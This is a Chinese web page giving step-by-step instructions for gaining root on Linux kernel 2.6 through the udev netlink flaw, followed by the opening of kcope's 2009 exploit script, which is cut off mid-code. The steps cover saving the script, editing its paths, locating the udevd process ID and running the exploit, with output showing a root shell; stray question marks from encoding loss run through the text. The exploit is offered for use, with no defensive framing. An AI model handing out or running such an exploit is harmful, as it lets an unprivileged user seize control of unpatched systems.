日期:2014-05-16  浏览次数:20684 次

Linux Kernel 2.6 UDEV本地提权

1)创建用户:假设系统上已经建立了一个名为"ttalang",密码为"ttalang"的普通用户,并用该账户登录;(注意:ttalang的用户目录为/home/ttalang)?

[ttalang@vmhost ~]$ pwd?

/home/ttalang?

?

2)复制代码:如下:完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件;(注意:此时a的状态为/home/ttalang/a,a保存着 提权用的代码。名字叫什么是随意的,可以是b,c...)?

[ttalang@vmhost ~]$ ls?

a?

?

3)修改代码:修改a中的内容,将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的);将倒数第4行"cp libno_ex.so.1.0 ?/home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。?

?

4)查找udev的PID:查找/sbin/udevd的PID,即执行:"ps aux |grep /sbin/udev"

[ttalang@vmhost ~]$ ps aux |grep /sbin/udev?

root ? ? ? 392 ?0.1 ?0.3 ? 2916 ?1400 ? ? ? ? ?S<s ?15:33 ? 0:00 /sbin/udevd -d?

ttalang ? 3266 ?0.0 ?0.1 ? 4604 ? 700 pts/1 ? ?R+ ? 15:38 ? 0:00 grep /sbin/udev?

?

5)提权:执行命令chmod u+x a && sh a 391 ?(注意:这里的391是udev的PID减去1得来的):?

[ttalang@vmhost ~]$ sh a 391?

suid.c: 在函数 ‘main’ 中:?

suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容?

sh-3.1#?

?

?

提权代码:

*****************************************************************************************?
#!/bin/sh?
# Linux 2.6?
# bug found by Sebastian Krahmer?
#?
# lame sploit using LD technique? ?
# by kcope in 2009?
# tested on debian-etch,ubuntu,gentoo?
# do a 'cat /proc/net/netlink'?
# and set the first arg to this?
# script to the pid of the netlink socket?
# (the pid is udevd_pid - 1 most of the time)?
# + sploit has to be UNIX formatted text :)?
# + if it doesn't work the 1st time try more often?
#?
# WARNING: maybe needs some FIXUP to work flawlessly?
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang?

cat > udev.c << _EOF?
#include <fcntl.h>?
#include <stdio.h>?
#include <string.h>?
#include <stdlib.h>?
#include <unistd.h>?
#include <dirent.h>?
#include <sys/stat.h>?
#include <sysexits.h>?
#include <wait.h>?
#include <signal.h>?
#include <sys/socket.h>?
#include <linux/types.h>?
#include <linux/netlink.h>?

#ifndef NETLINK_KOBJECT_UEVENT?
#define NETLINK_KOBJECT_UEVENT 15?
#endif?

#define SHORT_STRING 64?
#define MEDIUM_STRING 128?
#define BIG_STRING 256?
#define LONG_STRING 1024?
#define EXTRALONG_STRING 4096?
#define TRUE 1?
#define FALSE 0?

int socket_fd;?
struct sockaddr_nl address;?
struct msghdr msg;?